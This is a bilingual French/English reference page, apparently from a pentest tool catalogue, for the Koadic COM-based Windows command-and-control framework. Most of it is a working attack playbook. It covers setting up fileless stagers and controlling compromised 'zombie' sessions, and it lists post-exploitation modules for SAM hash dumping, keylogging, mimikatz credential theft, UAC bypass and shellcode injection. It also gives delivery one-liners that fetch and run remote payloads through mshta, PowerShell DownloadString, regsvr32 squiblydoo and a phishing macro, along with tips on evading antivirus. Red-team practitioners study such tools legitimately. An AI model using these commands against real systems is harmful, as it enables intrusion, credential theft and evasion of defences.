← retour aux outils back to tools

# koadic

Framework de Command & Control COM pour Windows. Utilise des stagers JScript/VBScript via des objets COM : exécution fileless qui se fond dans l'administration Windows légitime. COM Command & Control framework for Windows. Uses JScript/VBScript stagers via COM objects — fileless execution that blends into legitimate Windows administration.

↗ https://github.com/zerosum0x0/koadic

## Overview

Koadic is a Windows C2 framework that uses Component Object Model (COM) scripting to run payloads via JScript and VBScript — techniques used in normal Windows administration. Its stagers are designed to be fileless, executing entirely in memory via `mshta.exe`, `wscript.exe`, or `rundll32.exe`.

## Installation

    git clone https://github.com/zerosum0x0/koadic
    cd koadic
    pip3 install -r requirements.txt
    python3 koadic.py

## Basic Usage

Start Koadic

    python3 koadic.py

    # Inside Koadic:
    (koadic: sta/js/mshta)> help
    (koadic: sta/js/mshta)> use stager/js/mshta
    (koadic: sta/js/mshta)> info
    (koadic: sta/js/mshta)> set SRVHOST 10.10.10.50
    (koadic: sta/js/mshta)> run

## Stagers

JScript via mshta.exe (most common)

    use stager/js/mshta

    # Payload delivered via:
    # mshta.exe http://10.10.10.50:9997/whatever.html

JScript via regsvr32

    use stager/js/regsvr32

JScript via rundll32

    use stager/js/rundll32

VBScript via wscript

    use stager/vbs/wscript

## Working with Zombies (Sessions)

List active zombies (sessions)

    zombies

Interact with a zombie

    use zombie 0

    # Run commands on zombie
    shell whoami
    shell ipconfig
    shell systeminfo

Inject into process

    inject 1234 stager/js/mshta  # inject into PID 1234

## Implants (Post-Exploitation Modules)

    # Run a module on active zombie
    use implant/gather/hashdump
    run

    use implant/gather/hashdump          # dump SAM hashes

    use implant/gather/clipboard         # get clipboard content

    use implant/gather/keys              # keylogger

    use implant/gather/userinfo          # user/domain info

    use implant/inject/mimikatz_sekurlsa # credential dump via mimikatz

    use implant/manage/zombie_stealth    # hide the zombie process

    use implant/escalate/bypassuac_eventvwr  # UAC bypass

    use implant/pivot/exec_shellcode     # inject shellcode

## Delivery Methods

Payload delivery via mshta.exe:

    mshta http://10.10.10.50:9997/index.html

Via PowerShell download:

    powershell -c "(New-Object Net.WebClient).DownloadString('http://10.10.10.50:9997/stager.js')" | mshta

    # Via phishing document with macro:
    # Macro calls: Shell "mshta.exe http://attacker/koadic_stager.html"

Via rundll32 (regsvr32 squiblydoo):

    regsvr32 /s /n /u /i:http://10.10.10.50:9997/stager.sct scrobj.dll

## Tips

- mshta.exe stagers are one of the most AV-evasive delivery methods for Windows
- Koadic is LOLBIN (Living off the Land) — uses built-in Windows tools
- Sessions are called “zombies” — each has an ID for targeting
- Combine UAC bypass implants with privilege escalation for Admin → SYSTEM
- Less maintained than Sliver/Havoc — consider those for modern engagements

Help / Man page

    Koadic commands:

    use MODULE      Load a module
    info            Show module options
    set KEY VALUE   Configure option
    run             Execute current module
    zombies         List active sessions
    use zombie N    Select session
    shell CMD       Run command on session
    implants        List available implants
    exit            Quit Koadic

## Vue d’ensemble

Koadic est un framework C2 Windows qui utilise le scripting COM (Component Object Model) pour exécuter des payloads via JScript et VBScript, des techniques utilisées dans l’administration Windows normale. Ses stagers sont conçus pour être fileless, s’exécutant entièrement en mémoire via `mshta.exe`, `wscript.exe` ou `rundll32.exe`.

## Installation

    git clone https://github.com/zerosum0x0/koadic
    cd koadic
    pip3 install -r requirements.txt
    python3 koadic.py

## Utilisation de base

    # Démarrer Koadic
    python3 koadic.py

    # À l'intérieur de Koadic :
    (koadic: sta/js/mshta)> help
    (koadic: sta/js/mshta)> use stager/js/mshta
    (koadic: sta/js/mshta)> info
    (koadic: sta/js/mshta)> set SRVHOST 10.10.10.50
    (koadic: sta/js/mshta)> run

## Stagers

    # JScript via mshta.exe (le plus courant)
    use stager/js/mshta

    # Le payload est livré via :
    # mshta.exe http://10.10.10.50:9997/whatever.html

    # JScript via regsvr32
    use stager/js/regsvr32

    # JScript via rundll32
    use stager/js/rundll32

    # VBScript via wscript
    use stager/vbs/wscript

## Travailler avec les zombies (sessions)

    # Lister les zombies actifs (sessions)
    zombies

    # Interagir avec un zombie
    use zombie 0

    # Exécuter des commandes sur le zombie
    shell whoami
    shell ipconfig
    shell systeminfo

    # Injecter dans un processus
    inject 1234 stager/js/mshta  # injecter dans le PID 1234

## Implants (modules post-exploitation)

    # Exécuter un module sur le zombie actif
    use implant/gather/hashdump
    run

    use implant/gather/hashdump          # dump des hashes SAM
    use implant/gather/clipboard         # récupérer le contenu du presse-papiers
    use implant/gather/keys              # keylogger
    use implant/gather/userinfo          # infos utilisateur/domaine
    use implant/inject/mimikatz_sekurlsa # dump de credentials via mimikatz
    use implant/manage/zombie_stealth    # cacher le processus du zombie
    use implant/escalate/bypassuac_eventvwr  # UAC bypass
    use implant/pivot/exec_shellcode     # injecter du shellcode

## Méthodes de livraison

    # Livraison du payload via mshta.exe
    mshta http://10.10.10.50:9997/index.html

    # Via téléchargement PowerShell
    powershell -c "(New-Object Net.WebClient).DownloadString('http://10.10.10.50:9997/stager.js')" | mshta

    # Via document de phishing avec macro :
    # La macro appelle : Shell "mshta.exe http://attacker/koadic_stager.html"

    # Via rundll32 (regsvr32 squiblydoo)
    regsvr32 /s /n /u /i:http://10.10.10.50:9997/stager.sct scrobj.dll

## Conseils

- Les stagers mshta.exe sont l’une des méthodes de livraison les plus évasives face aux AV sous Windows
- Koadic est un LOLBIN (Living off the Land) : il utilise des outils Windows natifs
- Les sessions sont appelées « zombies » : chacune a un ID pour cibler
- Combiner les implants de UAC bypass avec l’escalade de privilèges pour passer Admin → SYSTEM
- Moins maintenu que Sliver/Havoc : privilégier ces derniers pour des missions modernes

Aide / Page de manuel

    Koadic commands:

    use MODULE      Load a module
    info            Show module options
    set KEY VALUE   Configure option
    run             Execute current module
    zombies         List active sessions
    use zombie N    Select session
    shell CMD       Run command on session
    implants        List available implants
    exit            Quit Koadic